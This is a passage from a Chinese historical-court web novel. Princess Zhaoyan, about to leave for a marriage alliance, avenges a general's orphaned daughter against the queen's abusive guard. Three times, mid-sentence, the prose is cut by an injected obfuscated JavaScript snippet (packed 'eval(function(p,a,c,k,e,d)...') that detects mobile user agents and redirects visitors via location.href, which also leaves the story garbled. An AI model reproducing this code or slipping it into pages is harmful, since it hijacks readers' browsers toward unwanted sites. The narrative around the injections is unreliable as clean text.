她轻咳一声,在槐夏睡意朦胧的时候轻轻启唇:“想必我回华纪之事已经传入燕国了,羽堇若知晓,不日应该也会回到皇城,王上虽不禁我的足,但还是会派人监视,眼下临近祭祀大典,你帮我准备好要穿的衣物,平日里做事小心些,见到羽堇便让他来寻我。” “好,殿下不要再想那些烦心事,早些休息。” 一夜好眠…… 转眼间便过了几日,上巳节即将来临,文武百官都在为华纪每年一次的祭祀大典做准备,纷纷提前沐浴更衣,于室内斋戒三日,朝颜自是也不例外。 自那次夜里敞开心扉相谈后,朝穆便以即将和亲为由,需专注女红,不让朝颜辰时到王后宫中请安,众人也知是怕二位忍不住争斗起来,便也不主动挑事。 无人打搅,朝颜独自一人在闻昭宫乐得自在,日日舒服地养着,上巳节来临前几日,面上的伤也已好得差不多。因用了上好金疮药,面上没留下任何受伤的痕迹。 只是心中留下的伤,却是很难恢复。 这日,羽堇终于回来了,还带来了一个打破朝颜宁静生活的消息。 * 春意盛浓,日光明媚,眨眼便过了半月,祭祀大典之日来临。 成千上万人整整齐齐聚集在皇城外一片广阔无际的碧绿平原上,候着吉时。 随着一阵激烈又震撼的击鼓声想起,人心振奋,大典开始。 因此处曾修缮过一座黄帝神宗庙,故将祭祀大典神坛设于此以示对祖先的尊崇敬重。文武百官戒斋沐浴焚香五日后,早早抵达,安静坐在自己的瑶席上等候。 朝穆亦是早早到来,坐在王架上待吉时快到才入场。 只见他身着一袭玄黑色衮冕官服,其上用金丝绣着的日月星辰,三光之耀,在阳光下熠熠生辉,极其高雅华丽。头上所戴十二旒冕冠亦是用上等珠玉所制,一旒足足九颗,十分彰显大国之气派。 他每行一步,旒珠亦跟着轻轻摇晃,冕服逶迤拖地,即使不出声号令众人,他身上散发出的王者之气也让人倍受压制。 随着朝穆驻足,百官纷纷起身行礼。 朝穆挥手免礼,众人便各自站好。 随着礼官念完誓词,恭敬上香,将黄帝神主请至神坛后,朝穆也行至最前方祭坛的高台上,祭奠玉帛,进俎牛羊,祭祀大典初礼便是完成。 朝穆满目严肃,携百官跪读祝文,“嗟嗟列祖,有序斯沾,经之营之,百堵俱增,播迁华厦,义举大千,爰居爰处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405651|200489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” 祭文宣读完毕,他便按规矩庄重献爵敬酒,以示对祖先的虔诚。 随后带领众人行完亚献礼,他睥睨着台下众人,高声宣呼:“万物本乎天,人本乎祖。我华纪能到今日之地位,靠的是祖祖辈辈的保佑与众人的齐心协力。若人人都如此齐心,日后定会闯出更大的盛世辉煌!” 话毕,一阵威武的鼓声落下,旌旗飘飘,满场回荡着忠心耿耿的肺腑之言:“王上英明!王上英明!王上英明!” 终献礼毕后,祭祀大典也迎来尾声。 众人得了王令便开始饮受福胙,举杯庆贺,乐得自在。 许是祖先显灵,今日春和景明,日光不燥,微风不凉,在室外用膳也颇为舒适,望着面前一望无际的碧,朝颜心情十分舒畅,也多食了几口。 转眼却见到无人在意的角落中,瘦弱白皙的少女拿着一对断裂的竹著夹着面前食物。离得远远的便能看出那对竹著十分短小,根本无法夹起菜肴,只一块李子果便夹落了多次。 奇怪的是身侧侍人像是看不到一般,不管不顾,任由她在如此隆重的场面上丢面子。 朝颜不禁皱了眉。 祭祀大典如此庄重之事,怎能出这等岔子?除非是有人故意为之。思及此她给槐夏示意了眼神,身侧侍人便将朝颜备用的银著拿着,从后方绕过去送到那少女手上。 若非她今日临时改了主意,有意坐在百官后方,也见不到这样欺负人的事。 少女拿到银著后,受宠若惊地抬眸,寻帮她解困之人,一下子便和望向她的朝颜对上视线。 朝颜看她一眼,她先是感激地扯着唇笑了笑,而后露出受惊鸟儿般的目光,瑟缩着低下头,静静食着面前的食物。 对方有意避嫌,朝颜无奈收回视线。 最后的最后,侍人将百官饮用完毕的饭菜撤下,洒扫得一尘不染,众人又回归成先前祭祀时的严肃模样。礼官恭敬送走神明,成千上万人对着祭坛的方向瞭望,与王上一同送走庇佑华纪的祖先。 祭祀大典结束,便可筹备半月后的狩猎之事,朝穆刚想启唇让众人回去,哪知一个骑兵远远地策马奔来,卷起身后一阵尘土。他将马儿停放在不远处,着急忙慌地跑来向王上身边的寺人禀告带来的消息。 朝颜谨慎盯着高处几人的一举一动,见寺人与朝穆说完,朝穆的脸色骤然变了,他扫视了台下众人一眼后,须臾间又恢复成满脸笑意,转身主持着大局,说了几句简单的结束词便登上王架驱车离开了。 峮防战事还未结束,定不是娄卿旻的消息。 不是峮防,那便是普桑国之事,朝颜大胆地猜测骑兵与朝穆所禀之事,应与羽堇带给她的消息大差不差。 若真如此,朝穆定会寻她商谈和亲之事…… 上了返程的马车,朝颜忽然想起方才用膳时那女子的处境,俯身对槐夏吩咐道:“你去打听打听那个女子是谁家的?” 不论怎么说,能来参加祭祀大典的人都是非富即贵,为何那人却叫人暗地欺负成如此模样。 侍人背后定是得了哪位贵人的命令,竟敢在祭祀大典上动手脚,如此不守规矩,胆大妄为,私下必是能做出比这严重许多的事。 正好她最近几日闲来无事,可以插手看看是何人在背后捣鬼。 临走前也可为华纪清理门户。 66. 重回华纪(四) 槐夏与朝颜此次出宫许久再回来,整个人也变得机灵起来,听完朝颜的话便下了轿子,买通了许多卫兵与侍女,向其打听所有事情的来龙去脉。 待队伍赶回王宫后,槐夏也打探得差不多了。 二人相伴一同回了闻昭宫,槐夏便迫不及待地拥上去将了解的缘由一一道出:“殿下,我打听到了。那女子名为陈诗,是驻守边关的陈营陈将军之独女。” 话毕朝颜在脑海中搜寻陈营这个名字,依稀记得是名华纪前阵领军的将领,从前一直跟在太子麾下,与山匪对仗打赢过许多次,是军营中的佼佼者。 按朝穆赏有功之臣的性子定会对其大加封赏,最不齐也应赐予一座宅子外加几个奴仆。 而陈诗身为他的女儿,照理也应有官家小姐待遇,为何她看起来如此朴素,头上单单挽了个十字髻,其上并无任何发饰,甚至所穿衣物料子也是最下等的粗布,这完全不像是功臣之女的待遇。 朝颜忽然想到什么,“将军之女居然被人暗暗欺负成如此模样,莫不是家中只剩她一人了?” 听到这儿,槐夏明显震惊了几分,心道自家公主还真是料事如神! 而后她神情有几分悲怆,点了点头,继续道:“陈将军常年在外行军打仗不归家,家中只剩陈夫人与陈小姐,王上是赐予她母女二人一处宅子,就在皇城西边。但是……” “据说陈夫人在去岁年宴上被贼人害得丢了性命,而陈将军又远在边境行军打仗,陈家便只剩陈小姐一人,无人庇护,她自幼被陈夫人教导得知书达礼,性子十分温润,久而久之便被皇城中那些有靠山的世家子女当成解闷的玩意儿,暗地总受欺辱。” “被贼人所害?怎会如此?” 朝颜秀眉皱起,接着追问:“那可有查到是何人杀了陈夫人?” “那日宴席在王宫内举办,结束时已是亥时三刻,月黑风高之夜,据说行凶之人本意是要毁了陈家小姐的清白,不料被准备回府的陈夫人撞破,三人厮打在一起,陈小姐唤人来救,凶手见状失了理智,许是怕被抓入大狱,便当场将陈夫人一刀刺死后,飞速逃走了。” “奴婢……”槐夏说到一半忽然停住,仿佛在思考该不该继续说下去。 朝颜身子微微一顿,示意她继续说,槐夏迅速低下头,语气结巴了:“奴婢,奴婢还听闻王上下令调查此事无果后,为掩人耳目不让此等丑事泄露出去,草草赐给陈家小姐一笔银子,将陈夫人安葬后便不了了之。” 朝颜听完大失所望,那可是一条人命,一个活生生的人啊! 还是有功之臣的夫人,贵夫人! 就这样明目张胆地在宫内被人害死,身为王上的朝穆便用银两将陈诗的嘴堵住了? 甚至不仔仔细细调查一番,便草草了结。 他难道不怕陈将军回城后与他要个说法么? 亦或是他仗着自己是王上,无所畏惧,等陈将军归来再随便寻个理由将其一并打发了? 朝颜为陈夫人愤愤不平,叹气道:“他身为一国君主,掌握着万千人生死,怎可如此草芥人命?在他心中难道一条命便不是命了么?” 她失望地闭上双眸,心中升起一抹对陈诗的愧疚。 若说此前她还对朝穆报有半分期待,如今听完此事后也是真正寒了心。 一人之命尚且无法保护,无法找到凶手施以严惩,日后几十人、几百人的命摆在他面前,他是否也会因麻烦而寻个“借口”随便敷衍了事。 如此之人怎配得上这足矣掌控数万人的王位? …… 夜已深,朝颜却躺在榻上却是翻来覆去地睡不着,她心中还记挂着陈诗,她一女子,年龄尚小,如今成了孤零零一人,还不知如何被那群人欺负。 又回想起幼时兄长不在,自己被旁人嗤笑议论的模样。 此刻陈诗与那时的她又何尝不是一样的? 身份虽不同,处境却相同,朝颜心中难免对她升起一抹惺惺相惜的情愫。 不行!她得想个办法将陈诗带来。 但她一想到白日里少女故意疏远的举措,心里也大气退堂鼓。 朝穆是她的生父,他犯下的错她也无法完全不在意。 她得想个好办法才陈诗打消顾虑,主动接受自己的援助。 就这样思索良久,天快亮了才堪堪入眠。 翌日,晨光熹微之时,朝颜便被一道王命催着醒来。一夜未睡好,人还迷糊着便被槐夏侍奉着梳洗更衣,再清醒时,人已经换上一袭黛蓝色曲裾衣裙站到王上批阅奏折的书斋门前。 朝穆宣她进门,自己则是在低头伏案,持一柄狼毫取墨,十分认真地在竹简上写着什么。 他听到脚步声后抬眸,随即放下手中琐事,微笑着看着下方少女道:“颜儿来了!免礼吧,你上前来,孤有事与你说。” 话音落下,朝颜不紧不慢地撩起衣裙走上前去便听他说:“昨日收到普桑国国君加急送来的国书,说普桑太后突然病逝,眼下举国奔丧,都在为太后送行。” 朝颜刚想问此事与她有甚干系,抬眸便看见男人疲惫不堪的容颜,便暂且忍耐想接话怼人的做法。 而后听他又说:“普桑国君想要你早些过去小住些时日,顺便为普桑冲冲喜气,与太子培养培养感情,待你及笄那日再简行和亲之礼,若不然,待太后下葬,普桑国君便要守孝三年,而太子也要守孝一年才可办喜事。” 简言之,你的好日子到头了。 朝颜一早便听羽堇与她说明此事,原以为可以晚些再去,未料到他们竟能想出如此法子,她忙不迭冷笑一声,“普桑为了让我嫁去,简直煞费苦心。” 且不说太后驾崩与她一个外臣无关,可笑的是冲喜一词竟能从两个国君口中说出来,当真是为了彼此的利益不择手段。而朝穆,也不会因她会受委屈而拒绝此事。 朝颜明白,这一切都是因为那个盟约。 只要她一日不嫁过去,盟约便一日不会生效。 作为华纪公主,她甚至该高兴,稷粮城眼下正是需要稻种之时,提前嫁去于华纪来说未必不是件好事,只是对她而言,本就短小的自由之日又减少许多。 “我可以提前嫁去,前提是他们先将盟约里答应的事做到。王上可与普桑坦白,我的诚意是我本人,他们的诚意我嫁去却不一定能看见,所以……” 所以他们也需早些应约,降低粮食价格并早些向华纪运粮食稻种。 被朝颜一提醒,朝穆明显也恍然大悟,干笑几声说道:“颜儿所言极是,孤这就写帛书与他们说明。”说罢他颇为满意地看着朝颜,面上笑意又深了几分。 他将手中竹简递到朝颜面前,“你如此替华纪着想,孤也不会亏待你,孤整夜未眠,已连夜写好你的嫁妆清单,你身为嫡公主,身份尊贵,嫁妆只多不少,孤定不让你在普桑人面前低人一等!” 连夜拟写,也算是他作为父亲最后能为朝颜做的。 前半生他已经愧对朝颜许久,眼下朝饶已不在人世,这世上便少了一个对她好的人,自己身为父亲,也要珍惜这最后一次关心爱护她的机会。 “你这一走便再也回不来了,金银珠宝是必不可少的,华纪上好的布料你带去万匹以便日后裁制新衣。我华纪书斋中的典籍、国库中的乐器孤也写了许多,仆人三百,乐人一千,怜人……” 朝颜听着他这突如其来的爱意有些摸不着头脑,她突然灵光一闪,脑子里蹦出一个绝妙的想法,打断了男人的话语,“王上,臣陪嫁的媵妾可否自己来选?” “媵妾需八人,孤本欲从百官家适龄女子中选,不过你既开口,孤自会尊重你的想法。你可是已有心仪的人选了?” 朝颜垂眸点了点头后勾唇一笑,刚拜别完朝穆准备回闻昭宫。 哪知此时殿外来了一身穿盔甲的卫兵,想必是带来了边境峮防的消息。 见来人面色严肃,十分悲怆,朝颜害怕娄卿旻出了何事,便停下脚步听人说着。 一席话毕,得知娄卿旻并未出事,朝颜心中不自觉松了口气,连她自己都未察觉到这对男人莫名的关心。 下一刻便让朝颜听到一个更为震惊的消息。 峮防一处军营失陷,将领带人突围,哪知中了敌人奸计,战死沙场了! 而死的人正是华纪将军,陈营! 朝颜瞳孔微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405652|200489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张,皱了眉头,随即脚步加快赶回闻昭宫。 同一时候,朝穆也让人去陈府请了陈诗入宫,将噩耗告知并赐予她银两,封其郡主以示安慰。毕竟是功臣,不能死在荒郊野外,为此朝穆还专程派一支精兵去前线将其遗体带回华纪,同时也为陈将军加官进爵,赐谥号为宣文候,让其由二品上将军的官位待遇施以厚葬。 本就无人可依的陈诗失了母亲又没了父亲,如今真真变成孤家寡人,纵使得了郡主的封号也高兴不起来,当着朝穆的面便忍不住垂首痛哭。 朝穆本就因陈夫人一事对陈家人有愧,如今将军为国而战死,他也对陈诗生了怜悯之心,专程安排了王后宫中的贴身侍女去侍奉她,让她留在朝挽的雪宫别院中静养,等陈将军归来。 得知此事后,朝颜马不停蹄地绕雪宫侧门去了陈诗所居别院。 本以为上次与陈诗相见便是她最狼狈的时候,不料陈将军却突然离世,这无疑又给了陈诗一次重大的心理打击,本就瘦弱的人受了心灵创伤,虚弱地瘫坐在地上,不吃不喝,一味地哭,尤其是她怕打搅到旁人,便将自己捂在衾被中,安安静静地哭,模样惹人心碎。 朝颜不语,在一侧等着,由着她发泄。 直至少女哭干眼泪,朝颜才试探问她:“陈将军为国捐躯,是华纪最大的功臣,战场无眼,你也莫要太过伤心,还需注意自己的身体。” “殿下,你可是朝颜殿下?” 闻言朝颜点了点头,陈诗本想跪下行礼,却被朝颜拦住,陈诗却后退一步拉开二人距离,声音哽咽着,“多谢殿下关心,您找我有何事?” 朝颜也不紧逼她,只是降低声音,带着安抚人心的柔。道:“陈将军战死沙场,陈夫人被奸人所害,此处只剩你一人,就算有郡主身份,身后无人庇佑,日后或许会过得很难。我来也是想问问你,待所有事情了结,你想离开这里么?” 陈诗先是沉默了片刻,后摇摇头道:“离开此处我能去哪儿,我又能做什么?” “殿下莫要带着我,我一个什么都不会的人,带着也只是多了个累赘。” “我不需要你做什么,你再考虑考虑。”朝颜怕人误会,连忙解释了一句。 毕竟她本意想把人带出华纪,届时送至燕国或是别处,只要安全就好。 但逼迫人不是好办法,只能她自己想清楚。 话已说出,一切只能看陈诗自己的意愿,朝颜说完便离开了,走之前还安排了几个侍人负责侍奉陈诗日常起居。 眼看和亲在即,朝颜一直在宫中为自己出行做准备,本以为能等到陈诗答复,哪知槐夏这日突然冲入寝殿,道了句:“殿下,大事不妙,陈小姐跳湖自尽了!” 自尽?朝颜眼皮跳了跳,心下一慌。 她虽与陈诗接触不多,但也能看出她骨子里不是那样随便放弃自己性命的人。 此事定有蹊跷,派人拯救陈诗的同时,又让槐夏到事发处暗地调查事情的来龙去脉。 经历了两日彻夜不眠的救治,御医才将陈诗从鬼门关拉出来。 只是她掉入湖中太久,鼻腔胸腹中吸入冷水过多,日后或许会落下病根。 朝颜得知此消息,连忙吩咐众人将此事瞒住。 毕竟是朝穆亲封的郡主,听闻陈诗自尽,以为她是因家人之死伤心欲绝想不开,故而吩咐朝颜好好开导她。 而后朝颜便一直在别院静静陪着她,喂她吃药,带她散心。 慢慢将一个陷入绝望的人从泥潭中拉出来。 “为什么会跳湖?是真真不想活了?还是迫不得已需要自救?” 这是陈诗清醒后,朝颜对她说的第一句话,带着三个疑问。 陈诗听完,垂下眼睫,不言不语,依旧麻木得像个稻草人。 朝颜看着苍白无力的少女,心中怜惜更甚。 试图唤醒她的求生欲,而后一把将榻上少女拉到自己面前,迫使她与自己对视,语气颇为强硬: “陈诗,我自问不是多么良善之人,也不想倚靠权势逼迫别人。我只再问你最后一次,你想离开此处么?” “你只需点点头。” “我便带你走。” 67. 和亲之路(一) “你只需点点头,我便带你走。” 正值初春,万物生发,窗外传过一阵黄莺悦耳的鸣叫声,伴着眼前人如此诱人的话语,陈诗心中动容,很难拒绝。 此话落下,她迟钝麻木的眼总算有了丝活人的精气神,不知过了多久,她魂体归位似得,双眸瞪大,紧紧攥住朝颜的手,言语狠绝道:“我走!我要走!” “但是临走前我想求殿下,帮我找到杀母仇人,我想报仇!我要手刃了那个杀人凶手!还有殿下,我不是自尽,我是被歹人所害不得不跳湖自保。”陈诗情绪已然失控,想到那日着急的情景,又忍不住痛哭起来。 “殿下……”她哽咽着唤朝颜一声,“我就这两件事割舍不下,是埋在我心中的刺,您能帮帮我么?” 朝颜猜到背后有人捣鬼,但听陈诗自己说出,她心疼极了。 说到底也是因为陈诗是孤单一人,且是女子,无权无势空有名头,免不了受人欺负。也怪她疏忽大意,没有想到此处,若是早些派人保护好陈诗,哪里还会有如今这一出。 想到这儿朝颜也开始内疚。 也知晓她内心始终记挂着陈夫人的死,所谓心病还须心药医,若陈诗无法手刃仇人,就算是走到天涯海角,内心也不会放过自己,还会活在无尽的悔恨中。 念及此,朝颜微微叹了口气,道了一声“好。” 事情已经过去数月,想找到凶手确实有些困难,但未试便放弃,不是朝颜的作为。 陈诗落水之事她也让槐夏在暗中调查了。 可查探多次,没找到任何可疑之处,这便说明对方不是计划好的,而是临时起了歹意。 陈诗落水的池塘是二公主朝挽五岁时,朝穆为讨她欢心而大肆费人费力挖开的池塘,地处低势,周围又栽着几颗柳树,一到春夏时期,树叶茂密,周围十分隐蔽,且难以找到出口。 凶手既然能在雪宫如此快逃脱,证明对那里的地势颇为熟悉。 朝颜不得不怀疑陈诗遇险之事与雪宫的人有关。 但怀疑只是猜测,最重要的还是手握证据。 先前禀明朝穆,他已经先入为主认为陈诗自己想不开,朝颜便也打算不与他言明,决定先斩后奏,免得打草惊蛇。 见陈诗情绪好转,朝颜便让她努力回忆那日发生的事。 她说并未看见那贼人的脸,只记得他身上有一处衣衫是硬皮甲胄而制,身形高挑,右侧悬着铁剑,好在陈诗抗拒不从时,情急之下狠狠在他手背挖了一下,不过短短几日,纵使伤口恢复得再快,也会留下些许痕迹。 硬皮甲胄,身侧悬剑,说明那人身份至少是个四品及已上的侍从,若不然不可在宫内随意佩剑走动。 事不宜拖,朝颜当日便故意以清点陪嫁为由,让雪宫与闻昭宫所有四品以上的男侍一齐帮她搬来数百箱妆奁与珠宝首饰,当面一一查验后,才放他们离开。可她们查遍了所有前来做事的侍从,他们手上并无任何不妥。 这便排除了一大部分。 接下来要查验的便是几位贵人身边的贴身侍从。 贴身侍从比不得普通侍从,他们身份地位略高,非他们的主子是使唤不动的,这倒是让朝颜陷入困境。 随后朝颜又打着和亲临走前要拜别国君的名义,邀请六宫所有身形矫捷,身高接近六尺且用剑熟练的士兵们一同排练一曲舞剑作为临别之礼。 如此要求倒将许多不符合条件之人排除在外,剩下的便是凶手。 本就是抱着试试的态度,哪知竟真的让她找到了一个身材高挑,身着甲胄且手背有细疤的男子。 起先男子练剑时并未露出破绽,直至朝颜唤人端来许多宫内统一定制好的起舞木剑让众人一一挑选,轮至男人时,他露出手背后无意间向后缩了一截,朝颜这才看破男子欲盖弥彰的慌乱。 她表面隐藏心性不揭穿此人,暗地派出羽堇跟踪调查,结果竟发现那男子是继后衡泱泱从普桑和亲时带来的贴身护卫,名为赵虔,此人仗着权势地位颇高便在宫内横行霸道,时常欺善凌弱,曾强占过雪宫宫女。 但因为衡泱泱看中他,让他做上等卫兵,犯错也只是口头批评几句,见状他更加肆无忌惮,不管不顾。 而平日里他的任务便只有一个——保护朝挽,陪朝挽读书,为朝挽赴汤蹈火,除此之外便是无所事事。 如此看来,此人的的确确有时间、有理由行害人之事。 朝颜想将人的罪行揭露,便直截了当地去与衡泱泱对峙,不料却换来女人冷冰冰几句:“只是一个战死将军的遗孤,得了郡主的名头也空无实权,就算死了又如何?正好去黄泉路上与她父母作伴!况且你并无证据证明赵虔就是凶手,只凭一道疤如何能确定就是他害的?” 二人间气氛拔剑弩张,近乎快要撕破脸,见讲道理不成,还被衡泱泱一番嘲讽,朝颜怒上心头忍无可忍,索性不再伪装,言语激烈地与女子争论:“证据已然摆在王后面前,王后却要包庇,难道只有你的女儿是人,将军的女儿便不是人?更何况她是华纪功臣之女,难道不该被善待么?” 衡泱泱好似忘了,她如今坐的位置也是由那些战死沙场的士兵夜以继日打下来的。 “总归不是也没死么?”衡泱泱坐在软塌上,纤手轻抚着身下玫红色衣裙,细眉一挑,冷笑道:“就算是赵虔做的又如何?不也没成功么?若别苑那位想要银钱,本宫赐她百两,让她出宫逍遥自在地活去。别忘了,你与本宫才是一家人,管她陈氏女死活作甚?” 衡泱泱自幼便在普桑锻炼出一副冷心冷情的性子,除去对自家亲生女儿朝挽以真心相待,旁人死活于她来说无关紧要。 此人已经无可救药,朝颜不想与其争论,只提醒她:“你也是个母亲,你也有女儿,你如此狠心对待一个无辜受伤害之人,就不怕终有一日会反噬到自己身上?” 衡泱泱怒拍案而起,双眸睁大,指着朝颜大喊:“你大胆!竟敢对本宫无礼!” 一席话毕,只见朝颜慢慢向前走了几步,周身围绕着正气与不可违抗的王室压迫感,话语简单却不失威严:“这里是华纪,是我朝氏一族的地盘!是你不该对我无礼才对。” 朝颜走到她身侧驻足,看着比自己低半个头的女人,朝颜弯腰低眸对上衡泱泱颤抖的身子,俯身贴在她耳侧,蚀骨剜心的话脱口而出: “你记住,我与你从不是一路人,我的母亲是明媒正娶的王后,而你只是一个继室,若非元王后已逝,也不会有你如今的位置!” 说完她转身便要离开。 “你……”衡泱泱气急败坏,后退几步想拿起桌案的砚台往朝颜身上丢,朝颜预料到此事,直接侧身躲闪,砚台掉落在地摔成两半。 衡泱泱见到朝颜那张与元王后如出一辙的脸,心中怒气横生,嫉妒油然而生,将身侧所有能摸得到的物件抓起就往人身上丢,不过半注香时辰,整个寝殿便已经被闹得鸡飞狗跳,没有一处地方是好的。 周围侍人见状纷纷跑去金銮殿找国君帮忙。 朝穆得知二人吵得不可开交,忙来雪宫阻止闹剧。黄袍身影刚踏进门,怀中便飞入一柔软身躯,甜腻的嗓音在耳畔响起:“王上,朝颜疯了,你定要治她的罪!” “她马上要去和亲,孤治她的罪,难道要挽挽替她和亲么?”朝穆了解到事情的起因经过后,也难得对衡泱泱说了一次重话。 果然,子女是对付父母最好的利刃。 听到此话,衡泱泱带满发饰的头连连摇晃,一把跪趴在朝穆身侧,言语激烈:“不可!万万不可!” 帝王心最是难猜,自上次二人退避众人相谈过后,衡泱泱明显感觉朝穆对朝颜不一样了,她生怕朝穆会后悔让姜妤泉的女儿去和亲,所以她近几日也躲着朝颜,想尽快送她离开,哪知手下赵虔会做出这等愚蠢之事。 朝穆看着满殿的狼藉与四处飞散的碎物,瞬间头昏眼花,将她的手腕一把拉住吩咐着:“你先下去,孤与朝颜有话要说!” “可是……” “你先下去,孤不想再说第三次。” 看着朝穆阴晴不定的面庞,衡泱泱也不自讨没趣,自顾自走了。 没了聒噪之人的干扰,殿内都清明许多。 见朝穆久久不开口,朝颜背对着他,冷不丁道:“我只想问王上一句,陈夫人之死您是否早就知道另有隐情?” “是。” 他承认了。 如此明晰大胆地承认,甚至没有半分对功臣属下的愧疚。 朝颜缓缓转身对上他的眼睛。 朝穆见人终于转过身正眼看自己,不忍心再骗她,轻声解释道:“孤确实早就知道背后凶手。” 朝颜未料到他对此事如此满不在乎,呆滞了许久她才回过神,又道:“那王上为何不抓?为何不惩?” “他身份太过特殊,孤不能……” 朝颜打断他:“王上是想说,您不能杀他,因为他是衡泱泱从母国带来的人,是朝挽从小到大的玩伴?所以您为了不让她母女二人伤心,便可任由那人随意践踏自己的国人,甚至是对华纪有功之臣的夫人与女儿!” “王上未免太过偏袒你的人。” 话毕,一室静谧,落针有声。 少女坦坦荡荡的声音回响在大殿:“无论如何陈将军都是华纪的功臣,若让华纪百姓们都知晓他们尊敬爱护的国君竟是如此不顾大局之人,对功臣家眷冷漠至极,不闻不问,百姓必会寒心。” “君子以人为本,以民为重。一个国家若失了民心,没了依仗,那便也不会需要国君的存在了。” 朝颜也未想到,自己初次对这个亲生父亲说如此多的话,居然会是在这样的场景下。 她叹了口气道:“望王上在庇佑自家人的同时,也要顾念天下百姓。相信您比朝颜更明白,身居高位,许多事不是想做便做的,天下无不透风的墙,做错事也总有败露的那一日,不是不报时候未到。” “朝颜!”朝穆严厉唤她,眉头紧蹙:“孤不知该说你天真还是太过肆意妄为。你莫要以为自己有和亲公主的身份做靠山,孤便不会惩戒你,任由你在此处放肆,对孤指指点点!” 二人明晃晃对峙,谁都不愿落下风。 就这样僵持了须臾,朝穆深黑的眸子看着少女倔强却清亮的眼睛,又忆起故人模样。 就这样,原本气急败坏的他眼底慢慢透出一抹隐藏许久的柔情。 朝颜失望透顶,不愿再纠缠,“纵使会惹王上不悦,我还是想请王上明鉴,将杀人凶手抓入大狱严惩不贷。之后您想杀我也好,剐我也罢,您是君我为臣,若王命要我死,我是万万不敢违抗。” “不过,纵使杀了我,还会有无数个我,一直纠缠不放,直到王上对天下人一视同仁为止。” 朝穆没接话,淡淡听完朝颜发泄后,也不惩戒她,只是冷冷吩咐人将她送回闻昭宫,并下王令说三日后便启程送朝颜去普桑和亲。 时间转瞬即逝,眨眼只剩两日,朝颜等了朝穆一日,确认他没有任何行动后,朝颜灰心失望。 看来王上是要包庇到底了。 若想帮陈诗报仇,便只有最后一个法子。 既然朝穆无法下决心,她便替他狠心做个决定。 夜里,朝颜唤羽堇见面,二人精心策划了一场破 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405653|200489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绽百出的复仇计划。 临走时,朝颜拉住羽堇的衣袖,吩咐道:“此事办完,你便离开华纪。” “属下若走了殿下该怎么办?” 朝颜垂眸笑了,从桌案上掏出一封写好的信件递给少年,笑道:“我本意不是让你逃命,是有一重要之事要交给你做。” …… 两日后,有侍人在洒扫时,于雪宫池塘发现了赵虔被浸泡一夜而浮肿变大的尸体。 衡泱泱带着护卫径直冲到闻昭宫时,朝颜正伏在桌案前,拿着针线在丝帕上一针针绣着兰花的枝叶,模样悠闲。 “是不是你!朝颜,你这贱蹄子,定是你干的好事!”衡泱泱见到赵虔的尸体,整个人疯疯癫癫,已经没了王后的稳重,变成一个满口胡言的毒妇。 朝颜放下手中帕子,缓缓抬眸,冷漠瞥了她一眼,丝毫不在意她所言。 衡泱泱抬手指着少女,歇斯底里喊:“是你杀了赵虔!” 朝颜莞尔,起身走向她,不忘行礼,唇角带着讥笑:“无凭无据,王后可莫要污蔑。” 衡泱泱看着面前少女盛气凌人的模样,波涛汹涌的怒气一涌上头,她皱着眉,恶狠狠道:“早只你会长成如此恶毒模样,当初就不该看你年幼而留你一命!” 衡泱泱气急败坏后说出这句奇怪言语,见朝颜看她的目光带着非此等年龄该有的炙热狠辣,她顿时闭唇不语,生怕自己再说出什么惹人生疑的话。 朝颜不知她话何意,但又明白这衡泱泱绝不是第一次放任手下人为非作歹。 她路过衡泱泱,停在女人身侧,眸中带着淡淡的杀气,“王后莫要以为我嫁去普桑,你便能在华纪高枕无忧了。” “若王后日后还会包庇手下人做恶事,或许将来也会沦为与赵虔一样的下场。” “你在威胁我?”衡泱泱不可置信。 朝颜此时已越过她,随意留下一句“哪里,朝颜不敢。”便让侍人将其请离闻昭宫。 侍人将人请出去,果断紧闭闻昭宫殿门。 被拒之门外,衡泱泱被气得不轻,纤细的手指紧握成拳,她眯起狭长的眸子,盯着朝颜进殿的背影看去,心里暗暗下了决定,随即气冲冲地跑回雪宫,拎起狼毫写下一封告状的暗信,派亲卫快马加鞭送回普桑。 为了让朝颜不痛快,衡泱泱换了身艳丽的裙装,哭得梨花带雨,专程又跑到朝穆耳边煽风点火寻求怜爱。 还添油加醋告了朝颜一状,本以为朝穆能一气之下减少朝颜的嫁妆,不料最终只换来男人不耐烦的摆手,冷道:“只是一个侍卫,若你与挽挽身侧缺人了尽管与孤说,孤派十个补给你便是!” 未得到想要的,衡泱泱灰溜溜地跑去朝挽的雪宫躲着不见众人,表示抗议。 朝颜明日就要启程去普桑是人尽皆知的,朝穆不打算也不能对朝颜做出任何惩戒,他忆起那日少女倔强的眼神,便猜出是朝颜干的,但迫于愧疚,出于她的身份,他也不打算深究。 